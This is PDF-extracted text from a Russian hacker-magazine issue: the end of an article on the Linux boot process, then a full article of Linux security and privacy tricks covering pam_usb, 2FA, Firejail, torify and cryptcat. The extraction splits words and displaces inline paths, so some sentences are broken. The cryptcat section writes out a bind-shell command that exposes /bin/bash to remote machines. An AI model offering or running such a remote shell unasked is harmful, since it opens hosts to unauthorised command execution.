заг ружа ет в ядро драй веры для работы с ними, а  затем под клю чает нуж ный
раз дел  нуж ного  накопи теля  (о  том,  какой  имен но,  ядро  узна ет  бла года ря
передан ному при заг рузке парамет ру root) к кор ню, перек рывая таким обра‐ 
зом  содер жимое  initramfs.  Затем  скрипт  запус кает  ,  с  которо го
и начина ется сле дующий шаг заг рузки ОС.

/init

/sbin/init

Скрипт init из initramfs

Android исполь зует очень похожий прин цип заг рузки. Исклю чение здесь сос‐ 
тоит  толь ко  в  том,  что  initramfs  не  перек рыва ется  реаль ной  фай ловой  сис‐ 
темой  по  окон чании  работы  .  Вмес то  это го  нуж ные  раз делы  под клю‐ 
чают ся  уже  к  ней:  сис темный  раз дел  к  ,  раз дел  с  уста нов ленны ми
при ложе ниями — к   и так далее. Кро ме того, ядро и initramfs здесь рас‐ 
полага ются не в отдель ных фай лах, а записа ны друг за дру гом в раз дел boot.

/init
/system

/data

3. ПЕРВИЧНАЯ ИНИЦИАЛИЗАЦИЯ

Пос ле того как скрипт   из  initramfs закан чива ет свою работу, он запус‐ 
кает  ути литу    реаль ной  фай ловой  сис темы.  С  это го  момен та
начина ется  ини циали зация  самой  ОС:  заг рузка  необ ходимых  драй веров,
под клю чение  фай ловых  сис тем  и  раз делов  под качки,  нас трой ка  сетевых
интерфей сов и запуск сис темных служб.

/init
/sbin/init

Ис торичес ки   была очень прос той  ути литой,  которая  занима‐ 
лась  толь ко  тем,  что  переда вала  управле ние  опре делен ным  скрип там
в  зависи мос ти  от  передан ного  ей  парамет ра  (скрип ты  рас полага лись
в катало гах  , где X — уро вень заг рузки). Каж дый скрипт отве чал
за стро го опре делен ную опе рацию: один под клю чал перечис ленные в фай ле

 фай ловые сис темы, дру гой кон фигури ровал сетевые интерфей‐ 
сы,  еще один  запус кал демон cron  (он  занима ется  запус ком пери оди чес ких
задач),  еще  один —  демон  syslog  (он  отве чает  за  при ем  жур наль ных  сооб‐ 
щений и их запись на диск) и  так далее. Этот стиль ини циали зации получил
имя SystemV по име ни вер сии UNIX, в которой он появил ся.

/sbin/init

/etc/rcX.d/

/etc/fstab

Дос тоинс тво  сти ля  ини циали зации  SystemV  в  его  край ней  прос тоте:  его
лег ко понять, его лег ко реали зовать, с ним прос то работать. Одна ко он абсо‐ 
лют но не под ходит к сов ремен ным реалиям.

Се год ня заг рузка ОС не сво дит ся к заг рузке пары‐трой ки драй веров, под‐ 
клю чению  двух  фай ловых  сис тем,  нас трой ке  одно го  сетево го  интерфей са
и  запус ку  трех  служб.  Стан дар тная  кон фигура ция  может  вклю чать  в  себя
десят ки раз личных демонов, на запуск каж дого из которых может уйти немало
вре мени,  а  сам демон может  упасть. SystemV запус кает служ бы пос ледова‐ 
тель но  и  не  кон тро лиру ет  их  жиз ненный  цикл,  поэто му  заг рузка  ста новит ся
мед ленной, а кор рек тная работа в даль нейшем не гаран тиру ется.

Что бы обой ти эти проб лемы, раз работ чики macOS в свое вре мя соз дали
аль тер нативу    под  наз вани ем  launchd.  Это  без  пре уве личе ния
гени аль ная  раз работ ка  —  launchd  не  толь ко  уме ет  кон тро лиро вать  жиз‐ 
ненный цикл служб, но и запус кает их лишь тог да, ког да эти служ бы ста новят‐ 
ся нуж ны. При чем дела ет это весь ма неор динар ным обра зом.

/sbin/init

О том, как это про исхо дит, мы еще погово рим. Сей час в исто рии с launchd
нас инте ресу ет дру гое, а имен но то, что под его впе чат лени ем был соз дан тот
самый  . Сегод ня systemd — часть боль шинс тва дис три бути вов Linux.
Он  гораз до  слож нее    и  даже  launchd,  а  в  его  конс трук ции  нет
и  намека  на  уров ни  запус ка  и  скрип ты.  Systemd  опе риру ет  поняти ем  юнит
(unit),  который может  оли цет ворять  собой  служ бу,  опе рацию мон тирова ния,
опе рацию нас трой ки сетево го интерфей са и дру гие.

systemd

/sbin/init

Кон фиг юни та демона Tor

Для опи сания юни тов исполь зует ся спе циаль ный дек ларатив ный язык, поэто‐ 
му  допус тить  ошиб ку  кон фигура ции  слож нее,  чем  при  написа нии  скрип та.
Юни ты  могут  иметь  зависи мос ти  друг  от  дру га  и  запус кают ся  парал лель но
либо  ког да  в  них  воз ника ет  необ ходимость.  Нап ример,  служ бы  (демоны),
не  завися щие  от  сетево го  под клю чения,  могут  быть  запуще ны  рань ше  нас‐ 
трой ки сетево го интерфей са, дру гие — сра зу пос ле его нас трой ки, третьи —
толь ко тог да, ког да к ним обра щают ся при ложе ния или дру гие служ бы.

4. ЗАПУСК ДЕМОНОВ

За пуск служб (демонов) — один из клю чевых момен тов заг рузки ОС. Осо бое
мес то здесь занима ет демон  , без которо го типич ный дис три бутив Linux
ока жет ся нерабо тос пособен.

udev

Udev  занима ется  управле нием  содер жимым  катало га  .  Как  мы  все
зна ем, в Linux‐сис темах этот каталог исполь зует ся для хра нения так называ‐ 
емых фай лов  устрой ств — осо бого  типа фай лов, оли цет воря ющих собой  те
или иные ком понен ты ПК. Имен но с помощью фай лов устрой ств в Linux про‐ 
исхо дит  работа  с  обо рудо вани ем:  чита ешь  файл    и  получа ешь
содер жимое пер вого раз дела пер вого жес тко го дис ка, записы ваешь дан ные
в   и выводишь кар тинку на экран.

/dev

/dev/sda1

/dev/fb0
В  ран нем  UNIX  каталог    был  ста тичен.  Он  содер жал  набор  фай лов

на  все  слу чаи  жиз ни:  даже  если  в  ПК  не  была  уста нов лена  зву ковая  кар та,
файл    для  вывода  зву ка  все рав но  сущес тво вал.  Ког да  количес тво
раз лично го обо рудо вания было невели ко, а plug’n’play еще не родил ся, проб‐ 
лем  не  было:  все го  лишь  десяток‐дру гой  фай лов.  Но  со  вре менем  он  все
боль ше зах ламлял ся и в ито ге прев ратил ся в помой ку.

/dev

/dev/dsp

Пер вый вари ант решения этой проб лемы сос тоял в том, что бы под клю чить
к   вир туаль ную фай ловую сис тему (devfs), содер жимым которой управля‐ 
ло  бы  ядро.  Оно  находи ло  все  уста нов ленное  обо рудо вание  и  соз давало
фай лы толь ко для тех устрой ств, которые реаль но при сутс тву ют в машине.

/dev

Та кое решение до сих пор исполь зует ся в macOS и FreeBSD, но раз работ‐ 
чики  Linux  пош ли  дру гим  путем.  Здесь  есть  спе циаль ная фай ловая  сис тема
sysfs, под клю чен ная к катало гу  . Это неч то вро де под робной базы дан ных
обо всех устрой ствах ПК, начиная от про цес сора и кон трол лера пре рыва ний
и закан чивая мыш ками и гей мпа дами.

/sys

С помощью /sys мож но не толь ко получить информа цию об устрой ствах,
но и управлять ими

На  осно ве  информа ции,  извле чен ной  из  ,  демон  udev  соз дает  фай лы
устрой ств в  . Во вре мя пер вого стар та он про ходит по всем устрой ствам
в  ,  а  затем  засыпа ет  и  ждет,  пока  не  будет  добав лено  или  уда лено
устрой ство:  вот кнул  флеш ку —  в    появи лись  новые  фай лы,  udev  прос‐ 
нулся и соз дал на их осно ве файл устрой ства в  , заг рузив нуж ные драй‐ 
веры.

/sys
/dev

/sys
/sys

/dev

Еще  один  важ ный  для  UNIX‐сис тем  демон  —  .  Это  сво его  рода
агре гатор  логов  при ложе ний,  скла дыва ющий  их  все  в  каталог  .
В  осно ван ных  на  systemd  дис три бути вах  вмес то  него  обыч но  исполь зует ся

,  который  хра нит  логи в  спе циаль ном бинар ном фор мате
(syslog  опе риру ет  тек стом).  В  него мож но  добав лять  новые  записи,  но  уда‐ 
лять  нель зя.  Это  защита  от  взлом щиков,  которые мог ли  бы  уда лить  нуж ные
стро ки из фай лов, что бы скрыть сле ды сво его пре быва ния в сис теме.

syslog

/var/logs

systemd-journald

В сред неста тис тичес ком дис три бути ве Linux так же есть дру гие демоны:
  —  отве чает  за  выпол нение  задач  по  вре мени.  Может  запус кать

коман ды  через  опре делен ные  про межут ки  или  в  чет ко  задан ное  вре мя.
Прос тей ший вари ант исполь зования — соз дание бэкапа по ночам;

• cron

  —  демон  печати.  Сле дит  за  оче редью  отправ ленных  на  печать
докумен тов и отда ет их прин теру;

• cups

  —  управля ет  поль зователь ски ми  сес сиями,  поз воля ет
быс тро  перек лючать ся  меж ду  сес сиями,  дает  раз решение  на  авто мон‐ 
тирова ние устрой ств от лица поль зовате ля и выпол няет дру гие задачи;

• systemd-logind

 — демон, обслу жива ющий работу шины дан ных, поз воля ющей при‐ 
ложе ниям обме нивать ся  информа цией. В  основном исполь зует ся  в  сре‐ 
дах рабоче го сто ла и гра фичес ких при ложе ниях;

• dbus

 —  кон фигура тор  сетевых  интерфей сов.  Исполь зует ся
толь ко  в  дес ктоп ных  вари антах  дис три бути вов  и  может  быть  заменен
на ана лог. Нап ример, wicd.

• NetworkManager

В боль шинс тве сво ем демоны обме нива ются информа цией с при ложе ниями
и дру гими демона ми с помощью UNIX‐сокетов. Это канал ком муника ции, зак‐ 
реплен ный за фай лом. Нап ример, демон cups соз дает сокет 

  (в  раз ных  дис три бути вах  рас положе ние  может  отли чать ся).
Записы вая в него дан ные, мож но отправ лять докумен ты на печать.

/var/run/cups/
cups.sock

Имен но  эту  осо бен ность  исполь зуют  launchd  и  systemd,  что бы  запус кать
демоны толь ко по мере необ ходимос ти. Трюк сос тоит в  том, что бы заранее
соз дать сокеты для всех сис темных демонов, а сами демоны запус кать толь ко
тог да,  ког да  кто‐либо  запишет  дан ные  в  сокет;  нет  смыс ла  запус кать  cups
при заг рузке или в любой дру гой момент, если ник то не отправ ляет задания
на печать.

5. X WINDOW SYSTEM И PAM

Пос ледний  этап  заг рузки —  запуск  менед жера  логина.  В  кон соли  фун кцию
менед жера  логина  выпол няет  связ ка  ути лит    (обыч но  исполь зует ся  ее
более  прод винутый  вари ант  agetty)  и  .  Getty  пред став ляет  собой
рудимент,  оставший ся  со  вре мен  мей нфрей мов  и  уда лен ных  тер миналов
(наз вание  рас шифро выва ется  как  get  teletype). Он  выводит  в  тер минал  тек‐ 
сто вое сооб щение и затем запус кает ути литу login, которая спра шива ет логин
и пароль поль зовате ля. Ког да поль зователь вво дит кор рек тный пароль,  login
запус кает от его име ни шелл, ука зан ный в фай ле  .

getty

login

/etc/passwd
Гра фичес кий  менед жер  логина  называ ется 

(Display  Manager),  и  в  каж дой  гра фичес кой  сре де  он  свой.  KDE  исполь зует
менед жер KDM, GNOME — GDM, так же есть воз можность исполь зовать уни‐ 
вер саль ный  дис плей ный менед жер,  нап ример  Slim.  В  любом  слу чае  задача
дис плей ного  менед жера  —  вывес ти  на  экран  окно  зап роса  име ни  поль‐ 
зовате ля и пароля,  а пос ле авто риза ции либо запус тить окон ный менед жер
нап рямую, либо выпол нить ряд команд, записан ных в поль зователь ский файл

.

дис плей ный  менед жер

~/.xinitrc

Дис плей ный менед жер KDM в Debian

Од новре мен но с запус ком дис плей ного менед жера запус кает ся гра фичес кая
сис тема X Window System, а в сов ремен ных дис три бути вах —  . Это кли‐ 
ент‐сер верная  сис тема  вывода  гра фики  на  экран,  где  сер вер  отве чает
за  ком понов ку  общей  кар тинки,  сфор мирован ной  раз личны ми  при ложе‐ 
ниями‐кли ента ми.  X Window System — не  гра фичес кая  сре да,  а  лишь  прос‐ 
лой ка,  поз воля ющая  при ложе ниям  отправ лять  кар тинку  на  экран  и  получать
события вво да от поль зовате ля. Что бы пос тро ить на ее осно ве гра фичес кий
интерфейс,  так же  нужен    (window  manager),  который  поз‐ 
волит поль зовате лю управлять окна ми при ложе ний.

Xorg

ме нед жер окон

Ме нед жер окон может работать как обо соб ленно (нап ример, fluxbox, win‐
dow  maker,  i3),  так  и  в  сос таве  ком плексной  сре ды  рабоче го  сто ла  (KDE,
GNOME,  XFCE).  Кро ме  менед жера  окон,  они  так же  вклю чают  в  себя  набор
средств для фор мирова ния пол ноцен ного дес кто па:  панель  задач  в  ниж ней
или  вер хней  час ти  экра на,  док,  сис тему  рас положе ния  ико нок  на  рабочем
сто ле  и  про чее.  Обыч но  каж дый  из  этих  эле мен тов  управля ется  одним
или нес коль кими спе циаль ными при ложе ниями.

Не зави симо  от  того,  какой  спо соб  вхо да  исполь зует  юзер,  за  кон троль
дос тупа всег да отве чает PAM. Это модуль ная сис тема аутен тифика ции поль‐ 
зовате ля, которая может про верять его лич ность самыми раз ными спо соба‐ 
ми,  попут но  выпол няя  ряд  про верок.  По  умол чанию  PAM  исполь зует  аутен‐ 
тифика цию исклю читель но с помощью пароля,  но,  поменяв  кон фигура цион‐ 
ные фай лы  ,  порядок  аутен тифика ции мож но  изме нить,  добавив
к  нему,  нап ример,  необ ходимость  при ложить  палец  к  ска неру  отпе чат ков,
вста вить  спе циаль ную  флеш ку‐ключ  и  даже  исполь зовать  под твержде ние
с помощью смар тфо на. О том, как это сде лать, мы  .

/etc/pam.d

уже писали

Кон фигура цион ный файл PAM ути литы login

На этом про цесс заг рузки мож но счи тать закон ченным. Ты либо выпол няешь
логин  в  кон соль  и  видишь  приг лашение  коман дно го  интер пре тато ра  либо
вво дишь дан ные учет ной записи в окно дис плей ного менед жера, и в резуль‐ 
тате на экра не появ ляет ся рабочий стол.

ВМЕСТО ЗАКЛЮЧЕНИЯ

Так выг лядит заг рузка сов ремен ного дис три бути ва Linux. Некото рые не осо бо
важ ные  и  не  осо бо  инте рес ные  детали  я  опус тил,  но  попытал ся  рас ска зать
о самом глав ном. Если вду мать ся, это не такой уж и слож ный про цесс, фак‐ 
тичес ки опе раци онная сис тема готова при нимать коман ды поль зовате ля уже
на эта пе под клю чения  initramfs, все осталь ное — запуск окру жения, которое
необ ходимо для пол ноцен ной работы поль зовате ля.

mailto:zobnin@glc.ru
https://xakep.ru/2017/10/16/linux-sectricks/
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UNIXOID

Жизнь  обыч ных  людей  скла дыва ется  из  мелочей.  Жизнь

линук соида скла дыва ется из мно жес тва малень ких полез ных

трю ков, накап лива емых за годы работы в сис теме. Цен ность

таких  трю ков  мно гим  выше,  если  они  не  толь ко  удоб ны

в исполь зовании, но и спо соб ны повысить информа цион ную

безопас ность.  Нес коль ко  прос тых  хин тов,  опи сан ных

в статье, могут попол нить зак рома даже гиков, не говоря уже

о том, что бы стать хорошим стар том для нович ков.

ОТКЛЮЧЕНИЕ КАМЕРЫ
Скотч  на  веб‐камере  лап топа  уже  дав но  стал  прит чей  во  язы цех  нас толь ко,

что ушлые ком мерсан ты начали пред лагать раз личные прис пособ ления, пре‐ 

вос ходящие по сво ей эсте тике кусок изо лен ты. Поэто му, даже если Боль шого

Бра та  в  тво ем  слу чае  ожи дает  лишь  изоб ражение  крас ногла зого  чувака

на фоне  кир пичной  сте ны,  который  сут ками  нап ролет  пялит ся  в  экран,  воп‐ 

росами  безопас ности  все  же  сто ит  оза ботить ся.  Но  тра тить ся  на  лей коп‐ 

ластырь —  не  наш  метод,  ведь  Linux  дает  воз можность  зап ретить  заг рузку

отдель ных модулей ядра.

С помощью   мож но опре делить  наз вание модуля  камеры

и  помес тить  его  в  чер ный  спи сок.  Для  это го  дос таточ но  отре дак тировать

файл  , добавив такую стро ку:

mkinitcpio ‐M

/etc/modprobe.d/camera.conf

blacklist uvcvideo

Ес ли  твоя  паранойя  выше  сред него  уров ня  и  ты  опа саешь ся,  что  камеру

вклю чит дру гой не  зап рещен ный в  сис теме модуль или  ты собс твен норуч но

заг рузишь в сос тоянии сом намбу личес кого тран са, можешь приг воздить его

намер тво в том же фай ле стро кой:

install uvcvideo /bin/false

Это, конеч но же, не спа сет тебя от взлом щика, который смо жет получить пра‐ 

ва  root  и  будет  дос таточ но  сооб разите лен,  что бы  догадать ся,  почему

не работа ет камера. Но в этом слу чае твои обна жен ные фотог рафии — пос‐ 

леднее, о чем тебе сто ит бес поко ить ся.

УДАЛЕНИЕ КОРЗИНЫ
Как и любое вед ро с мусором в реаль ной жиз ни, содер жимое кор зины компь‐ 

юте ра  может  мно гое  рас ска зать  о  сво ем  вла дель це.  Поэто му  скла дывать

в  нее  то,  что  тебе  дей стви тель но  не  нуж но,  не  толь ко  бес смыс ленно,  но  и

небезо пас но. Луч ше уда лять весь хлам раз и нав сегда пол ностью.

Ес ли в тво ей сис теме отсутс тву ет воз можность уда лять фай лы, минуя кор‐ 

зину,  а  сам  ты,  как  солид ный  человек,  при вык  при нимать  взве шен ные

решения и не любишь двой ную работу, то для тебя есть уни вер саль ный спо‐ 

соб,  который  прос то  не  поз волит  при ложе ниям  помещать фай лы  в  кор зину

и зас тавит их уда лять фай лы нав сегда абсо лют но во всех слу чаях.

Для это го дос таточ но все го лишь уда лить каталог 

и соз дать на его мес те пус той файл:

~/.local/share/Trash

$ rm ‐rf ~/.local/share/Trash
$ touch ~/.local/share/Trash

Пос ле  это го  любая  сов ремен ная  сре да  рабоче го  сто ла  или  при ложе ние

при попыт ке перемес тить уда ляемый файл в кор зину или даже соз дать саму

кор зину  получит  ошиб ку  и  им  не  оста нет ся  ничего,  кро ме  как  уда лить  его

с жес тко го дис ка.

ПЕРЕНОС ДОМАШНЕГО КАТАЛОГА НА ФЛЕШКУ
О выделе нии отдель ного раз дела на жес тком дис ке под домаш ний каталог ты

навер няка  зна ешь  и  уже  не  раз  менял  дис три бути вы,  оста ваясь  при  сво их

нас трой ках  и  с  любимым  сбор ником  элек трон ной  музыки.  Но  некото рые

могут  хра нить  в  домаш нем  катало ге  неч то  поваж нее  песенок  и  пос тоян но

пережи вать, не уво лок ли кто жес ткий диск на ана лиз, пока хозя ина не было

дома.

Мож но, конеч но, зашиф ровать раз дел, а мож но при купить флеш ку пообъ‐ 

емнее  и  помес тить  домаш ний  каталог  на  ней,  решив  попут но  проб лему

не  толь ко  сох раннос ти  дан ных,  но  и  их  дос тупнос ти  в  кри тичес кой  ситу‐ 

ации, —  акту аль но,  ког да  ты  не  доверя ешь  облачным  сер висам,  а  товарищ

май ор уже изъ ял компь ютер на экспер тизу.

Флеш ку нуж но пред варитель но отформа тиро вать в ext4, затем с помощью

коман ды    выяс нить  ее  UUID  (в  при мере  исполь зует ся  cbfb14ea‐38ce‐

4a5c‐b00b‐542b9763038e)  и  внес ти  в    в  стро ку,  мон тиру ющую

домаш ний раз дел поль зовате ля username:

blkid
/etc/fstab

UUID=cbfb14ea‐38ce‐4a5c‐b00b‐542b9763038e /home/username ext4 
defaults 0 0

Ра зуме ется,  отклю чать  и  под клю чать  флеш ку  необ ходимо  толь ко  пос ле

отклю чения питания ком па. Но даже если ты выдер нешь ее пря мо во вре мя

работы,  ничего  страш ного  не  про изой дет —  при  сле дующей  заг рузке  Linux

про верит ее на наличие оши бок, и все фай лы оста нут ся в сох раннос ти (кро ме

тех, которые ты копиро вал в момент извле чения флеш ки, конеч но).

ФЛЕШКА — КЛЮЧ АУТЕНТИФИКАЦИИ
На деж ную защиту тво их дан ных может дать толь ко шиф рование в сочета нии

с  надеж ным  паролем.  Но,  как  мы  все  зна ем,  длин ный,  слож ный  пароль  —

это дол го и слиш ком нуд но. Его при дет ся вво дить при каж дой раз бло киров ке

экра на,  воз можно  на  виду  у  дру гих  людей,  которые  не  прочь  под смот реть

за тво ими нажати ями кла виш и даже записать их на видео.

Что бы не вый ти из себя, в сотый раз набирая свой надеж ный пароль, дос‐ 

таточ но начать исполь зовать в качес тве клю ча аутен тифика ции обыч ный USB‐

накопи тель. Сде лать это мож но с помощью PAM‐модуля  .pam_usb

Нес мотря  на  то  что  раз работ ка  ведет ся  от  слу чая  к  слу чаю  и  пос ледний

ста биль ный релиз 0.5.0 датиро ван далеким 2011  годом,  инс тру мент  впол не

жиз неспо собен.  А  если  учесть  мини атюр ные  раз меры  сов ремен ных

флеш‐карт, еще и эсте тичен.

Эн тузи асты  могут  поп робовать  соб рать  вруч ную  git‐вер сию  ути литы,

в которой добав лена под дер жка SD‐карт (одна ко их работа не всег да гаран‐ 

тирова на),  или  обра тить ся  к  фор кам,  соз данным  нерав нодуш ными  поль‐ 

зовате лями, с раз личны ми допол нитель ными плюш ками (нап ример, под дер‐ 

жкой udisks2).

Для нас трой ки USB‐клю ча необ ходимо:

1. Выб рать носитель и задать ему имя (нап ример, FLASHKEY):

$ sudo pamusb‐conf ‐‐add‐device FLASHKEY

2. До бавить  поль зовате ля,  зарегис три рован ного  в  сис теме,  который  будет

авто ризо вать ся с помощью флеш ки (нап ример, username):

$ sudo pamusb‐conf ‐‐add‐user username

3. Про верить кор рек тность уста новок:

$ sudo pamusb‐check username

4. Вклю чить pam_usb в про цесс авто риза ции, добавив в начало 

 стро ку:

/etc/pam.d/
system‐auth

auth sufficient pam_usb.so

Эта стро ка ука зыва ет сис теме, что встав ленной флеш ки дос таточ но для авто‐ 

риза ции.  Если  ее  вынуть,  сис тема  сно ва  ста нет  зап рашивать  пароль  поль‐ 

зовате ля.

Нас трой ка авто риза ции с помощью флеш ки

Для  авто риза ции  рута  бла гора зум нее  иметь  отдель ную флеш ку  и  встав лять

ее в разъ ем, ког да понадо бит ся повысить при виле гии в сис теме с помощью

 или  . В этом слу чае стро ку из пун кта 4 сле дует добавить в 

.

su sudo /etc/pam.
d/su

ДВУХФАКТОРНАЯ АУТЕНТИФИКАЦИЯ
Об легчив себе аутен тифика цию при непос редс твен ной работе за компь юте‐ 

ром,  сто ило  бы  мак сималь но  усложнить  ее  для  уда лен ного  дос тупа.  Нап‐ 

ример,  ког да  это дос туп  по SSH. В  таком слу чае  тебя  выручит модуль 

,  с  помощью  которо го  мож но  нас тро ить  двух фактор ную

аутен тифика цию на осно ве одно разо вых паролей.

pam‐

google‐authenticator

Спер ва  необ ходимо  уста новить  на  компь ютер  сам  пакет.  Под  тем

или иным наз вани ем он дос тупен  во  всех популяр ных дис три бути вах. Поиск

сле дует вес ти по клю чевым сло вам pam google.

Ус тановив пакет, нуж но отре дак тировать файл  , добавив

в него стро ку

/etc/pam.d/sshd

auth required pam_google_authenticator.so no_increment_hotp

Оп ция    зап ретит  счет чику  неудач ных  попыток  авто риза‐ 

ции уве личи вать их количес тво.

no_increment_hotp

Те перь оста лось нас тро ить сам модуль, выпол нив коман ду

$ google‐authenticator

В ходе ее выпол нения будет сге нери рова на ссыл ка на QR‐код для при вяз ки

телефо на (ее сле дует отска ниро вать с помощью при ложе ния Google Authenti‐

cator), сек ретный ключ для вво да в телефо не вруч ную, один текущий код дос‐ 

тупа  и  пять  резер вных.  На  все  воп росы  (при вяз ка  кода  к  линей ке  вре мени,

обновле ние  нас тро ек  прог раммы  в  пап ке  поль зовате ля,  зап рет  пов торно го

исполь зования одно го и того же кода, огра ниче ние в виде трех попыток вхо да

в 30‐секун дный про межу ток вре мени) сле дует отве тить утверди тель но и лишь

на один — чет вертый по сче ту  (уве личе ние вре мен ного рас хожде ния меж ду

кли ентом и сер вером) — из сооб ражений безопас ности луч ше отве тить отри‐ 

цатель но.

Дан ный метод аутен тифика ции, нес мотря на свое

наз вание, никак не свя зан с Google или его сер‐ 

верами.  Вмес то Google  Authenticator  ты  можешь

исполь зовать  при ложе ние  от  незави симых  раз‐ 

работ чиков — FreeOTP.

КЛЕТКА ДЛЯ СОФТА
Да же надеж но защищен ная кре пость не обхо дит ся без обще ния с внеш ним

миром. Запуск прог рамм сом нитель ного поведе ния может свес ти на нет все

уси лия по обес печению безопас ности. В этом слу чае при годит ся инс тру мент,

поз воля ющий нас тро ить исполне ние при ложе ний в рам ках жес тко огра ничен‐ 

ного прос транс тва (песоч нице).

Та кой  инс тру мент  есть,  и  наз вание  у  него  соот ветс тву ющее  —  .

Прог рамма  лаконич на  и  прос та  в  исполь зовании  в  срав нении  с  про чими

средс тва ми  схо жей  фун кци ональ нос ти.  Исполь зование  прог раммы  в  гра‐ 

фичес ком  режиме  воз можно  с  помощью  незатей ливого Qt‐фрон тенда 

. Впро чем, и кон соль ный вари ант не вызовет зат рудне ний.

Firejail

Fire‐

tools

Ок но нас трой ки Firejail с помощью Firetools

Нап ример,  запус тить  нуж ное при ложе ние  (Chromium)  в  изо лиро ван ном  кон‐ 

тей нере  с  зап ретом  дос тупа  к  кри тичес ким  катало гам,  сис темным  вызовам

и в при ват ном режиме мож но коман дой

$ firejail ‐‐seccomp ‐‐private chromium

В  этом  слу чае  все  фай лы,  соз данные  бра узе ром,  уда лят ся,  как  толь ко  он

будет зак рыт. Но дос туп ко все му домаш нему катало гу поль зовате ля оста нет‐ 

ся  откры тым.  Что бы  пол ностью  отре зать  запус каемое  при ложе ние  от  фай‐ 

ловой сис темы, пот ребу ется выпол нить ряд шагов по нас трой ке, а имен но —

соз дать поль зователь ский каталог для фай лов кон фигура ции и каталог запус‐ 

ка для при ложе ния (ту самую тюрь му):

$ mkdir ~/.config/firejail
$ mkdir ~/chromium

Да лее сле дует ско пиро вать кон фигура цион ный файл песоч ницы в домаш ний

каталог:

$ cp /etc/firejail/chromium.profile ~/.config/firejail

и отре дак тировать его, добавив параметр при ват ности:

$ echo "private ${HOME}/chromium" >> ~/.config/firejail/chromium.
profile

Что бы по умол чанию при ложе ние запус калось в под готов ленной таким обра‐ 

зом «тюрь ме», нуж но выпол нить от рута

# echo "firejail ‐‐seccomp /usr/bin/chromium $@" > /usr/local/bin/
chromium
# chmod +x /usr/local/bin/chromium

ОТКЛЮЧЕНИЕ ФОНОВЫХ СЛУЖБ В CHROME
Сов ремен ные  веб‐при ложе ния  слож ны,  мно гофун кци ональ ны  и  во  мно гих

слу чаях пре вос ходят свои дес ктоп ные ана логи. Но у них есть одна проб лема:

ты зак рыва ешь вклад ку, и при ложе ние перес тает работать. Что бы решить эту

проб лему,  раз работ чики  Chrome  при дума ли  шту ку  под  наз вани ем  Service

Worker. Это API,  который поз воля ет  заг рузить  в бра узер  код и  вызывать его

поз же даже в том слу чае, если само веб‐при ложе ние зак рыто.

Ос новное наз начение Service Worker — обра бот ка push‐уве дом лений, но,

как это обыч но быва ет, тех нология может быть исполь зована и для нес коль ко

дру гих  и,  ска жем  так,  не  сов сем  полез ных  поль зовате лю  дей ствий.  C

помощью  Service  Worker  мож но  соз дать  код,  который  будет  неп рерыв но

работать  в фоне и  гру зить  про цес сор,  либо  написать  тро ян  и 

.

ор ганизо вать

бра узе ры в бот нет

По умол чанию бра узер не поз воля ет отклю чить Service Worker, одна ко мы

можем при менить неболь шой трюк и прос то уда лить каталог хра нения скрип‐ 

тов  и  соз дать  на  его  мес те  пус той  файл  (если  ты  исполь зуешь  Chromium,

замени chrome на chromium):

$ cd .config/chrome/Default
$ rm ‐rf "Service Worker"
$ touch "Service Worker"

Прин цип здесь ров но тот же, что и в слу чае с кор зиной. Не обна ружив каталог

хра нения  скрип тов,  бра узер  попыта ется  его  соз дать,  но  это му  помеша ет

наличие фай ла с тем же име нем.

УСКОРЕННАЯ ТОРИФИКАЦИЯ
Об  исполь зовании  сети  Tor  в  пос леднее  вре мя  слыш но  из  каж дого  утю га.

Поэто му неуди витель но, что для мно гих ее исполь зование дав но ста ло рутин‐ 

ным про цес сом, при чем не толь ко в слу чае сер финга с помощью бра узе ра.

Что бы  обес печить  быс трый  дос туп  к  сер вису  Tor  любым  прог раммам

без необ ходимос ти нас трой ки их каж дой в отдель нос ти, мож но исполь зовать

ути литу torify из ком плек та Tor. С ее помощью мож но проз рачно свя зать нуж‐ 

ное  при ложе ние  и  биб лиоте ку  tsocks,  содер жащую  необ ходимые  для  прок‐ 

сирова ния кон фигура цион ные фай лы. Исполь зовать ее про ще прос того:

$ torify wget ‐qO‐ https://check.torproject.org/ | grep ‐i congra
tulations

Сле дует  заметить,  что  резол винг  DNS  в  этом  слу чае  будет  осу щест влять ся

обыч ным обра зом, не через Tordns. Это мож но испра вить, при менив ути титу

, которая воз вра щает  IP передан ного домен ного име ни. При мер

откры тия стра ницы с помощью кон соль ного бра узе ра elinks:

tor‐resolv

$ torify elinks $(tor‐resolve checkip.dyndns.org)

КРИПТОГРАФИЧЕСКИЙ NETCAT
Трю ками с исполь зовани ем гиков ско го швей цар ско го ножа netcat в качес тве

ути литы для быс трой переда чи фай ла меж ду компь юте рами в сети уже дав но

никого  не  уди вишь.  Инс тру мент  ста рый,  и  спо собов  нет риви аль но  его  при‐ 

менить  изоб ретено  мно жес тво.  Единс твен ным  сла бым  мес том  оста ется

отсутс твие в netcat какой‐либо защиты от ком про мета ции со сто роны треть их

лиц.

Ути лита    лишена  это го  недос татка.  Она  исполь зует  шиф рование

по алго рит му Twofish. Ключ шиф рования по  умол чанию — metallica, поэто му

сра зу пос ле уста нов ки его сле дует изме нить с помощью клю ча    (для при‐ 

мера пусть будет apocalyptica):

cryptcat

‐k

$ cryptcat ‐k apocalyptica

В осталь ном логика работы и семан тика команд такая же, как и в netcat:

$ cryptcat ‐lp 1234 # машина‐получатель
$ cryptcat <IP адресата> 1234  # машина‐отправитель

Пред став ленные  выше  коман ды  поз воля ют  орга низо вать  защищен ный  чат

меж ду дву мя машина ми. Вве ден ный в тер минале любой из машин текст отоб‐ 

разит ся и в тер минале дру гой машины.

До пол нив  cryptcat  клю чом  запус ка  внеш него  при ложе ния  на  устрой стве

адре сата, мож но запус кать на ней коман дную обо лоч ку и обес печить выпол‐ 

нение команд с уда лен ной машины:

$ cryptcat ‐lp 1234 ‐e /bin/bash # машина‐адресат
$ cryptcat <IP адресата> 1234 # машина‐манипулятор

Ко ман ды будут  выпол нять ся на машине‐адре сате,  а  вывод  команд появит ся

в том чис ле и в окне тер минала машины‐манипу лято ра.

По токо вая  переда ча  виде офай ла  с машины‐тран сля тора и  его  прос мотр

с помощью про игры вате ля mplayer на машине‐наб людате ле:

$ cat video.avi | cryptcat ‐lp 1234 # машина‐транслятор
$ cryptcat <IP адресата> 1234 | mplayer ‐vo x11 ‐cache 3000 ‐ # 
машина‐наблюдатель

От прав ка фай лов (куда ж без них):

$ cryptcat ‐lp 1234 > my.jpg # машина‐получатель
$ cryptcat <IP адресата> 1234 < my.jpg # машина‐отправитель

ВЫВОДЫ
Воз можно,  некото рые  опи сан ные  в  статье  трю ки  тебе  покажут ся  слиш ком

